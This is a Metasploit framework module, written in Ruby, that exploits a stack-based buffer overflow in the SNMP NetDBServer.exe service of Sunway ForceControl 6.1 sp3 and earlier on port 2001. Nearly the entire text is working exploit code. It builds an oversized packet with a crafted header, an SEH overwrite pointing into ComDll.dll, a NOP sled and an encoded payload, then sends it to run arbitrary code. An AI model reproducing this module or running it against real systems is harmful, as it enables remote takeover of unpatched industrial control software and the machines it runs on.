Sunway ForceControl – SNMP ‘NetDBServer.exe’ Opcode 0x57 (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57', 'Description' => %q{ This module exploits a stack based buffer overflow found in the SNMP NetDBServer service of Sunway Forcecontrol <= 6.1 sp3. The overflow is triggered when sending an overly long string to the listening service on port 2001. }, 'Author' => [ 'Luigi Auriemma', # original discovery 'Rinat Ziyayev', 'James Fitts' ], 'License' => MSF_LICENSE, 'References' => [ [ 'BID', '49747' ], [ 'URL', 'http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'DisableNops' => 'true', 'BadChars' => "\x0a\x0d\xae", }, 'Platform' => 'win', 'Targets' => [ [ # p/p/r ComDll.dll 'Windows', { 'Ret' => 0x100022c4 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 22 2011')) register_options( [ Opt::RPORT(2001) ], self.class ) end def exploit connect header = "\xeb\x50\xeb\x50" header << "\x57\x00" # packet type header << "\xff\xff\x00\x00" header << "\x01\x00" header << "\xff" footer = "\r\n" packet = rand_text_alpha_upper(65535) packet[0,header.length] = header packet[293,8] = generate_seh_record(target.ret) packet[301,20] = make_nops(20) packet[321,payload.encoded.length] = payload.encoded packet[65533,2] = footer print_status("Trying target %s..." % target.name) sock.put(packet) handler disconnect end end |